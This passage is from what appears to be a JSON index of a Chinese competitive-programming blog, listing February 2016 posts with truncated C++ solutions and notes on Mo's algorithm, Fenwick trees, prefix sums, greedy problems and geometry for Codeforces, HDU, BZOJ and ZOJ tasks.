dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E5+7; 34int n,m; 35int cnt[N];//cnt[i]表示第i个洞的球跳出所在块所需要的步数 36int end[N]; //end[i]表示第i个洞的球跳出序列之前所经历的最后一个洞的序号 37int jmp[N]; //jmp[i]表示第i个洞的球跳出所在的块到下一个块的洞的序号。 38int a[N]; 39int siz = 313; //sqrt(1E5) 40 int pos[N]; 41 42void go ( int x) 43{ 44 int ans = 0 ; 45 int e; 46 while (1) 47 { 48 if (x\u003en) 49 { 50 //cout\u003c\u003ce\u003c\u003c\" \"\u003c\u003cans\u003c\u003cendl; 51 printf(\"%d %d\\n\",e,ans); 52 break; 53 } 54 ans +=cnt[x]; 55 e = end[x]; 56 x = jmp[x]; 57 } 58 // cout\u003c\u003c\"x:\"\u003c\u003cx\u003c\u003c\" cnt[x] :\"\u003c\u003ccnt[x]\u003c\u003cendl; 59 60 // cout\u003c\u003ce\u003c\u003c\" \"\u003c\u003cans\u003c\u003cendl; 61} 62void update( int i,int j) 63{ 64 if (j\u003en)//跳出所有洞 65 { 66 cnt[i] = 1; 67 end[i] = i; 68 jmp[i] = n+1;//只要是一个大于n的数表示跳出就可以了 69 } 70 else 71 { 72 if (pos[i]==pos[j]) //在同一块 73 { 74 cnt[i]=cnt[j]+1; 75 end[i]=end[j]; 76 jmp[i]=jmp[j]; 77 } 78 else 79 { 80 cnt[i] = 1; 81 end[i]=end[j]; 82 jmp","date":"2016-02-20","externalUrl":null,"permalink":"/2016/02/cf13e/","section":"Posts","summary":"http://codeforces.com/problemset/problem/13/E 题意：给你n个洞，进入某个洞后会跑到另一个洞，到了另一个洞之后又可能会继续到下一个洞，问你从一个洞进去，钻了几个洞才会出来，在哪个洞出来","tags":["分块"],"title":"codeforces 13 E. Holes (分块)","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/contest/613/problem/B 题意：有n个技能，初始每个技能的level为a[i]，每个技能最大level为A(不妨称为满级技能)，设满级技能个数为maxnum,最小的技能level为minval,问如何将m个技能点分配到n个技能上使得cfmaxsum+cmminval (n\u003c=1E5,a[i],A\u003c=1E9,cf,cm\u003c=1E3,m\u003c=1E15) 思路：贪心。如果让有限的maxsum个技能满级的话，那么一定是让初始最大的maxsum技能满级更优。我们O(n)可以预处理一个c[i]数组，表示将i个技能变成最大值的最小花费。 # 然后再预处理一个前缀和数组，sum[i]表示初始最小的i个的技能的花费之和。 # 然后从0到n枚举变成最大值的技能的个数，在剩下的技能中二分能达到的最小值。 # 注意要按照原来顺序输出，所以记得记录id. 1/* *********************************************** 2Author :111qqz 3Created Time :2016年02月20日 星期六 13时11分30秒 4File Name :code/cf/#339/D.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E5+7; 34LL n,A,cf,cm,m; 35LL b[N]; 36LL c[N]; //c[i]表示将i个变为最大值需要的最少花费 37LL sum[N] ; //sum[i]表示花费最少的i个的价值和 38struct node 39{ 40 LL val; 41 int id; 42 43 bool operator \u003c (node b)const 44 { 45 return val\u003eb.val; 46 } 47}a[N]; 48 49bool cmp (LL a,LL b) 50{ 51 return a\u003cb; 52} 53bool cmp2( node a,node b) 54{ 55 return a.id\u003cb.id; 56} 57int main() 58{ 59 #ifndef ONLINE_JUDGE 60 freopen(\"code/in.txt\",\"r\",stdin); 61 #endif 62 ios::sync_with_stdio(false); 63 cin\u003e\u003en\u003e\u003eA\u003e\u003ecf\u003e\u003ecm\u003e\u003em; 64 for ( int i = 1 ; i \u003c= n ; i++) cin\u003e\u003ea[i].val,a[i].id = i,b[i] = a[i].val; 65 sort(b+1,b+n+1,cmp); 66 sort(a+1,a+n+1); 67 ","date":"2016-02-20","externalUrl":null,"permalink":"/2016/02/cf613b/","section":"Posts","summary":"http://codeforces.com/contest/613/problem/B 题意：有n个技能，初始每个技能的level为a[i]，每个技能最大level为A(不妨称为满级技能)，设满级技能个数为maxnum,最小的技能level为minval,问如何将m个技能点分配到n个技能上使得cfmaxsum+cmminval (n\u003c=1E5,a[i],A\u003c=1E9,cf,cm\u003c=1E3,m\u003c=1E15)","tags":["binary search","greedy"],"title":"codeforces #339 div2 D","type":"post"},{"categories":["ACM"],"content":"http://www.lydsy.com/JudgeOnline/problem.php?id=3289 题意：中文题目，简单来说就是求某一区间内的逆序对数。 思路：逆序对数想到树状数组。不过写莫队转移的时候没弄明白。。。。大概是树状数组理解的还不够透彻。。。需要复习一下了。。。 还有这题没给数据范围但是需要离散化。。。不然会re… 1/* *********************************************** 2Author :111qqz 3Created Time :2016年02月17日 星期三 20时18分51秒 4File Name :code/bzoj/3289.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=5E4+11; 34int n,m; 35int a[N],b[N]; 36int pos[N]; 37LL c[N]; 38LL ans[N]; 39LL sum; 40struct node 41{ 42 int l,r; 43 int id; 44 45 bool operator \u003c (node b)const 46 { 47 if (pos[l]==pos[b.l]) return r\u003cb.r; 48 return pos[l]\u003cpos[b.l]; 49 } 50}q[N]; 51 52int lowbit( int x) 53{ 54 return x\u0026(-x); 55} 56 57void update ( int x,int delta) 58{ 59 for ( int i = x ;i \u003c=n ; i+=lowbit(i)) 60 { 61 c[i] +=delta; 62 } 63} 64 65LL Sum( int x) 66{ 67 LL res = 0LL ; 68 for ( int i = x; i \u003e=1 ; i-=lowbit(i)) 69 { 70 res += 1LL*c[i]; 71 } 72 return res; 73} 74 75 76int main() 77{ 78 #ifndef ONLINE_JUDGE 79 freopen(\"code/in.txt\",\"r\",stdin); 80 #endif 81 82 scanf(\"%d\",\u0026n); 83 int siz = 223; //sqrt(50000); 84 for ( int i = 1 ;i \u003c= n ; i++) 85 { 86 scanf(\"%d\",\u0026a[i]); 87 pos[i] = (i-1)/siz; 88 b[i] = a[i]; 89 } 90 sort(b+1,b+n+1); 91 int t = uni","date":"2016-02-20","externalUrl":null,"permalink":"/2016/02/bzoj3289/","section":"Posts","summary":"http://www.lydsy.com/JudgeOnline/problem.php?id=3289 题意：中文题目，简单来说就是求某一区间内的逆序对数。 思路：逆序对数想到树状数组。不过写莫队转移的时候没弄明白。。。。大概是树状数组理解的还不够透彻。。。需要复习一下了。。。","tags":["树状数组","莫队算法"],"title":"BZOJ 3289  Mato的文件管理 (莫队算法套树状数组)","type":"post"},{"categories":["ACM"],"content":"There are two types of problems solvable by partial sum. 1.Problems which you are asked to answer some queries about the sum of a part of elements (without modify queries). Solution of all of this problems are the same. You just need to know how to solve one of them. Example : You are asked some queries on an array _a_1, _a_2, …a, n. Each query give you numbers l and r and you should print a__l + a__l + 1 + … + a__r . Solution : You need to build another array _s_1, _s_2, …, s__n which s__i = _a_1 + _a_2 + … + a__i and answer is s__r - s__l - 1 . 2.Problems which you are asked to perform some queries asking you to modify a part of elements (without printing queries.) Solution of all of this problems are the same. You just need to know how to solve one of them. Example : You need to perform some queries on an array _a_1, _a_2, …a, n. Each query give you numbers l, r and v and for each i such that l ≤ i ≤ r you should increase a__i by v, and then after performing all queries, you should print the whole array. Solution : You should have another array _p_1, _p_2, …, p__n which, all of its members are initially 0, for each query, you should increase p__l by v and decrease p__r + 1 by v . An then, for each i, starting from 1 you should increase p__i by p__i - 1. So, final array would be _a_1 + _p_1, _a_2 + _p_2, …, a__n + p__n . 先说最简单也是最常见的一种。 # sum[i]=sum[i-1]+a[i] （初始sum[0]=0,所以a[i]的下标最好从1开始） 询问得到[l,r]的和，答案为sum[r]-sum[l-1]; 还有一种遇到相对较少的用法。 每次对数组a的某区间[l,r]内的每个数增加x。最后要求输出经过所有变换后的数组a。做法是：声明另一个数组p，当对区间[l,r]增加x时， p[l]+=x,p[r-1]-=x; 所有的变换完成后，另p[i]+=p[i-1] ，那么最后的答案就是p[i]+a[i]（i:1..n） （可以这样理解：p[l]+=x,表示从x开始被增加x这个变换影响，一直影响到r,也就是从r+1取消这种变换的效果，所以p[r+1]-=x,然后处理前缀和，把标记在开头的变幻累计到每个元素） # # 此外：前缀和不一定是“和”，加法可以推广到任何有“前缀和性质”的运算，比如乘积，异或（虽然那样就应该不叫前缀“和”了2333） # cf617E异或前缀和 这些都是区间上的前缀和，我们可以进一步推广到树上","date":"2016-02-19","externalUrl":null,"permalink":"/2016/02/%e5%89%8d%e7%bc%80%e5%92%8c%e9%97%ae%e9%a2%98%e6%80%bb%e7%bb%93/","section":"Posts","summary":"There are two types of problems solvable by partial sum. 1.Problems which you are asked to answer some queries about the sum of a part of elements (without modify queries).","tags":["前缀和"],"title":"前缀和问题总结","type":"post"},{"categories":["ACM"],"content":"http://acm.hdu.edu.cn/showproblem.php?pid=5416 # 题意：给出一棵树（n\u003c=1E5），定义二元函数函数f(u,v) (u可以等于v)表示节点u到节点v经过的路径的权值的异或和。给出q组查询（q\u003c=10），每组一个s,问有多少对无序点对（u,v）满足f(u,v)=s. 思路：类似codeforces #340 div 2 E XOR and Favorite Number 先dfs,处理出从根节点都任意节点的异或前缀和。然后对于每个询问o(n)扫一遍，统计sum[i]^s出现多少次。 总的时间复杂度为O(Tqn); 1/* *********************************************** 2Author :111qqz 3Created Time :2016年02月19日 星期五 13时52分32秒 4File Name :code/hdu/5416.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,LL \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E5+7; 34vector\u003cpi\u003eedge[N]; 35int n; 36LL sum[N]; 37LL cnt[N*10]; 38int q; 39void dfs( int x,LL val) 40{ 41 sum[x] = val; 42 43 for ( int i = 0 ; i\u003c edge[x].size() ; i++) 44 { 45 pi v = edge[x][i]; 46 if (sum[v.fst]!=-1) continue ; //表示已经访问过了。 47 dfs(v.fst,val^v.sec); 48 } 49} 50 51LL cal( LL x) 52{ 53 LL res = 0 ; 54 for ( int i = 1 ; i \u003c= n ; i++) 55 { 56 res +=cnt[sum[i]^x]; 57// cout\u003c\u003c\"i:\"\u003c\u003ci\u003c\u003c\" res:\"\u003c\u003cres\u003c\u003cendl; 58 } 59 if (x==0) res +=n; //f(u,u) 60 61 res /=2; //因为要求无序。。。 （u,v）和(v,u)算一种。 62 return res; 63} 64int main() 65{ 66 #ifndef ONLINE_JUDGE 67 freopen(\"code/in.txt\",\"r\",stdin); 68 #endif 69 int T; 70 cin\u003e\u003eT; 71 while (T--) 72 { 73 74 scanf(\"%d\",\u0026n); 75 for ( int i = 1 ; i \u003c= n ; i++) edge[i].clea","date":"2016-02-19","externalUrl":null,"permalink":"/2016/02/hdu5416/","section":"Posts","summary":"http://acm.hdu.edu.cn/showproblem.php?pid=5416 # 题意：给出一棵树（n\u003c=1E5），定义二元函数函数f(u,v) (u可以等于v)表示节点u到节点v经过的路径的权值的异或和。给出q组查询（q\u003c=10），每组一个s,问有多少对无序点对（u,v）满足f(u,v)=s. 思路：类似codeforces #340 div 2 E XOR and Favorite Number 先dfs,处理出从根节点都任意节点的异或前缀和。然后对于每个询问o(n)扫一遍，统计sum[i]^s出现多少次。 总的时间复杂度为O(Tqn);","tags":["dfs","前缀和"],"title":"hdu 5416 CRB and Tree ( 2015 多校 #10 )","type":"post"},{"categories":["ACM"],"content":"http://acm.hdu.edu.cn/showproblem.php?pid=5327 题意：问给出的区间[a,b]中有多少个美丽数，美丽数的定义是所有数字都不相同，如123是，100不是，333也不是。 思路：预处理1..100000的美丽数，可以把每个数字拆开放在set里，比较set的size和位数来实现。 然后用前缀和。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年02月19日 星期五 13时25分36秒 4File Name :code/hdu/5327.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E5+7; 34int a,b; 35int sum[N]; 36int p[N]; 37 38bool ok ( int x) 39{ 40 set\u003cint\u003ese; 41 se.clear(); 42 int cnt = 0 ; 43 while (x) 44 { 45 int tmp = x % 10; 46 se.insert(tmp); 47 x = x/10; 48 cnt++; 49 } 50 if (se.size()==cnt) return true; 51 return false; 52} 53int main() 54{ 55 #ifndef ONLINE_JUDGE 56 freopen(\"code/in.txt\",\"r\",stdin); 57 #endif 58 59 for ( int i = 1 ; i \u003c= 100000 ; i ++) 60 { 61 if (ok(i)) 62 p[i] = 1; 63 else p[i] = 0; 64 } 65 66 sum[0] = 0 ; 67 for ( int i = 1 ;i \u003c= 100000 ; i++) 68 { 69 sum[i] = sum[i-1] + p[i]; 70 } 71 72 int T; 73 cin\u003e\u003eT; 74 while (T--) 75 { 76 scanf(\"%d %d\",\u0026a,\u0026b); 77 printf(\"%d\\n\",sum[b]-sum[a-1]); 78 } 79 80 81 82 #ifndef ONLINE_JUDGE 83 fclose(stdin); 84 #endif 85 return 0; 86}","date":"2016-02-19","externalUrl":null,"permalink":"/2016/02/hdu5327/","section":"Posts","summary":"http://acm.hdu.edu.cn/showproblem.php?pid=5327 题意：问给出的区间[a,b]中有多少个美丽数，美丽数的定义是所有数字都不相同，如123是，100不是，333也不是。 思路：预处理1..100000的美丽数，可以把每个数字拆开放在set里，比较set的size和位数来实现。 然后用前缀和。","tags":["前缀和"],"title":"hdu 5327 Olympiad （2015  多校 #4 ）","type":"post"},{"categories":["ACM"],"content":"http://acm.zju.edu.cn/onlinejudge/showProblem.do?problemCode=3693 题意： n+2个人取吃饭，每人w元，每k个人可以少付一个人的钱，问最后两个教练每人要付多少钱。 思路：贪心。坑点在读题。。选手n个人，不要忘记两个教练，以及，钱数是两个教练平分。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年02月18日 星期四 15时16分59秒 4File Name :code/zoj/3693.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33int n,k; 34double ans,w; 35int dblcmp(double d) 36{ 37 return d\u003c-eps?-1:d\u003eeps; 38} 39int main() 40{ 41 #ifndef ONLINE_JUDGE 42 freopen(\"code/in.txt\",\"r\",stdin); 43 #endif 44 45 while (~scanf(\"%d %lf %d\",\u0026n,\u0026w,\u0026k)) //认真读题 46 { 47 if (dblcmp(w)==0) 48 { 49 puts(\"0.00\"); 50 continue; 51 } 52 n = n + 2; 53 n = n-n/k; 54 ans = n*w; 55 ans = ans * 50; 56 printf(\"%.2f\\n\",int(ans+0.5)*1.0/100); 57 } 58 59 #ifndef ONLINE_JUDGE 60 fclose(stdin); 61 #endif 62 return 0; 63}","date":"2016-02-18","externalUrl":null,"permalink":"/2016/02/zoj3693/","section":"Posts","summary":"http://acm.zju.edu.cn/onlinejudge/showProblem.do?problemCode=3693 题意： n+2个人取吃饭，每人w元，每k个人可以少付一个人的钱，问最后两个教练每人要付多少钱。","tags":["greedy"],"title":"zoj 3693  Happy Great BG","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/contest/373/problem/C 题意：n个袋鼠，每个袋鼠的size为a[i],一只袋鼠的size至少是另一只两倍时才能将它装下，被装下的袋鼠不能再装别的袋鼠且不能被看见。问能看见的袋鼠最少是多少。 思路：贪心。最多有n/2个袋鼠被装下。先排序，然后贪心即可。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年02月18日 星期四 14时32分29秒 4File Name :code/cf/problem/373C.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=5E5+7; 34int a[N]; 35int n; 36int main() 37{ 38 #ifndef ONLINE_JUDGE 39 freopen(\"code/in.txt\",\"r\",stdin); 40 #endif 41 cin\u003e\u003en; 42 for ( int i = 1 ; i \u003c= n ; i++) scanf(\"%d\",\u0026a[i]); 43 44 sort(a+1,a+n+1); 45 46 int j = n; 47 int ans = 0 ; 48 for (int i = n/2 ; i \u003e=1 ; i--) 49 { 50 if (a[j]\u003e=2*a[i]) 51 { 52 ans++; 53 j--; 54 } 55 } 56 cout\u003c\u003cn-ans\u003c\u003cendl; 57 58 59 #ifndef ONLINE_JUDGE 60 fclose(stdin); 61 #endif 62 return 0; 63}","date":"2016-02-18","externalUrl":null,"permalink":"/2016/02/cf373c/","section":"Posts","summary":"http://codeforces.com/contest/373/problem/C 题意：n个袋鼠，每个袋鼠的size为a[i],一只袋鼠的size至少是另一只两倍时才能将它装下，被装下的袋鼠不能再装别的袋鼠且不能被看见。问能看见的袋鼠最少是多少。 思路：贪心。最多有n/2个袋鼠被装下。先排序，然后贪心即可。","tags":["greedy"],"title":"codeforces 373 C. Counting Kangaroos is Fun","type":"post"},{"categories":["ACM"],"content":"http://acm.hdu.edu.cn/showproblem.php?pid=4638 题意：给定一个序列，序列由1-N个元素全排列而成，求任意区间连续的段数。例如序列2,3,5,6,9就是三段(2, 3) (5, 6)(9)。 思路：增加一个元素，如果它两边的元素都出现了，那么段数-1（相当于把两段连接起来合并成了一段），如果两边元素都没有出现，那么段数+1.反过来，减少一个元素时，如果两边元素都出现了，俺么段数+1（相当于把完整的一段断开成两段），如果两边元素都没有出现，那么段数-1.操作可以O(1)完成。。。上莫队。 因为id大小最大才100000，所以判断某个元素是否出现开一个100000大小的布尔数组即可（我竟然傻逼得去用set….然后华丽丽得TLE了2333） 1/* *********************************************** 2Author :111qqz 3Created Time :2016年02月18日 星期四 03时03分48秒 4File Name :code/hdu/4638.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E5+7; 34int n,m; 35int pos[N]; 36int a[N]; 37int ans[N]; 38int sum; 39bool vis[N]; 40 41struct node 42{ 43 int l,r; 44 int id; 45 46 bool operator \u003c(node b)const 47 { 48 if (pos[l]==pos[b.l]) return r\u003cb.r; 49 return pos[l]\u003cpos[b.l]; 50 } 51}q[N]; 52 53 54void update( int x,int d) 55{ 56 57 // cout\u003c\u003c\"cnt1:\"\u003c\u003ccnt1\u003c\u003c\" cnt2:\"\u003c\u003ccnt2\u003c\u003cendl; 58 if (d\u003e0) 59 { 60 if (vis[a[x]-1]\u0026\u0026vis[a[x]+1]) 61 sum--; 62 if (!vis[a[x]-1]\u0026\u0026!vis[a[x]+1]) 63 sum++; 64 65 vis[a[x]] = true; 66 } 67 else 68 { 69 if (vis[a[x]-1]\u0026\u0026vis[a[x]+1]) sum++; 70 if (!vis[a[x]-1]\u0026\u0026!vis[a[x]+1])sum--; 71 vis[a[x]] = false; 72 } 73} 74int main() 75{ 76 #ifndef ONLINE_JUDGE 77 freopen(\"code/","date":"2016-02-17","externalUrl":null,"permalink":"/2016/02/hdu4638/","section":"Posts","summary":"http://acm.hdu.edu.cn/showproblem.php?pid=4638 题意：给定一个序列，序列由1-N个元素全排列而成，求任意区间连续的段数。例如序列2,3,5,6,9就是三段(2, 3) (5, 6)(9)。 思路：增加一个元素，如果它两边的元素都出现了，那么段数-1（相当于把两段连接起来合并成了一段），如果两边元素都没有出现，那么段数+1.反过来，减少一个元素时，如果两边元素都出现了，俺么段数+1（相当于把完整的一段断开成两段），如果两边元素都没有出现，那么段数-1.操作可以O(1)完成。。。上莫队。 因为id大小最大才100000，所以判断某个元素是否出现开一个100000大小的布尔数组即可（我竟然傻逼得去用set….然后华丽丽得TLE了2333）","tags":["分块","莫队算法"],"title":"hdu 4638 Group","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/contest/614/problem/C # 题意：给一个多边形和多边形外一定点，多边形绕定点旋转，问多边形扫过的面积。 思路：简单计算几何，找到多边形距离定点的最大和最小距离R和r,答案就是(R^2-R^2)*PI 需要注意的是：最大距离一定是从某点上取得，但是最小距离可能不在顶点上，而在某条边上。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年02月16日 星期二 16时58分59秒 4File Name :code/cf/problem/614C.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N = 1E5+7; 34const double PI = acos(-1.0); 35 36int dblcmp(double d) 37{ 38 return d\u003c-eps?-1:d\u003eeps; 39} 40struct point 41{ 42 double x,y; 43 point (){} 44 point (double _x,double _y): 45 x(_x),y(_y){}; 46 void input() 47 { 48 cin\u003e\u003ex\u003e\u003ey; 49 } 50 point sub(point p) 51 { 52 return point (x-p.x,y-p.y); 53 } 54 double dot(point p) 55 { 56 return x*p.x+y*p.y; 57 } 58 double distance2(point p) 59 { 60 return (x-p.x)*(x-p.x)+(y-p.y)*(y-p.y); 61 } 62 double distance(point p) 63 { 64 return hypot(x-p.x,y-p.y); 65 } 66 double det(point p) 67 { 68 return x*p.y-y*p.x; 69 } 70}p[N],q; 71double sqr(double x) 72{ 73 return x*x; 74} 75struct line 76{ 77 point a,b; 78 line(){} 79 line (point _a,point _b) 80 { 81 a = _a; 82 b = _b; 83 } 84 double length() 85 { 86 return a.distance(b); 87 } 88 89 double dispointtoline2(point p)","date":"2016-02-17","externalUrl":null,"permalink":"/2016/02/cf614c/","section":"Posts","summary":"http://codeforces.com/contest/614/problem/C # 题意：给一个多边形和多边形外一定点，多边形绕定点旋转，问多边形扫过的面积。 思路：简单计算几何，找到多边形距离定点的最大和最小距离R和r,答案就是(R^2-R^2)*PI 需要注意的是：最大距离一定是从某点上取得，但是最小距离可能不在顶点上，而在某条边上。","tags":["计算几何"],"title":"codeforces #339 div 2 C. Peter and Snow Blower","type":"post"},{"categories":["ACM"],"content":"写了几道莫队，总结下。 目前只会区间莫队。。树上莫队以后再补。 莫队算法学习 说说我自己的理解： 莫队算法是一类用来处理离线静态区间问题的算法。 必须是离线，而且对区间没有修改。 还要满足，如果我们知道区间[l,r]的答案，那么知道区间[l-1,r],[l+1,r],[l,r-1],[l,r+1]的答案都是平凡的。。也就是O(1)可以实现才可以。 本质的话。。感觉就是分块+暴力？ 通过离线操作，把查询按照某种顺序均分使得复杂度降低。 除了bzoj的权限题。。。区间莫队基本都A掉了。","date":"2016-02-17","externalUrl":null,"permalink":"/2016/02/%e8%8e%ab%e9%98%9f%e7%ae%97%e6%b3%95%e6%80%bb%e7%bb%93/","section":"Posts","summary":"写了几道莫队，总结下。 目前只会区间莫队。。树上莫队以后再补。 莫队算法学习","tags":["莫队算法"],"title":"莫队算法总结","type":"post"},{"categories":["ACM"],"content":"https://ac.2333.moe/Problem/view.xhtml?id=1457 题意：求一段区间内数字个数的立方和。 思路：由于一共才1E5,而数字1E9,所以先离散化，再莫队，类似小z的袜子。 注意 ：%lld会WA,要用%I64d 1/* *********************************************** 2Author :111qqz 3Created Time :2016年02月17日 星期三 16时11分00秒 4File Name :code/nbut/1457.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E5+7; 34int a[N],b[N]; 35LL cnt[N]; 36int pos[N]; 37LL ans[N]; 38LL sum; 39int n,m; 40 41struct node 42{ 43 int l,r; 44 int id; 45 46 bool operator \u003c (node b)const 47 { 48 if (pos[l]==pos[b.l]) return r\u003cb.r; 49 return pos[l]\u003cpos[b.l]; 50 } 51}q[N]; 52 53 54 55void update(int x,int d) 56{ 57 58 sum-=cnt[a[x]]*cnt[a[x]]*cnt[a[x]]; 59 cnt[a[x]]+=d; 60 sum +=cnt[a[x]]*cnt[a[x]]*cnt[a[x]]; 61 62} 63int main() 64{ 65 #ifndef ONLINE_JUDGE 66 freopen(\"code/in.txt\",\"r\",stdin); 67 #endif 68 69 while (scanf(\"%d\",\u0026n)!=EOF) 70 { 71 ms(cnt,0); 72 ms(ans,0); 73 sum = 0LL; 74 75 int siz = 330;//sqrt(100000); 76 for ( int i = 1 ; i \u003c= n ; i++) 77 { 78 scanf(\"%d\",\u0026b[i]); 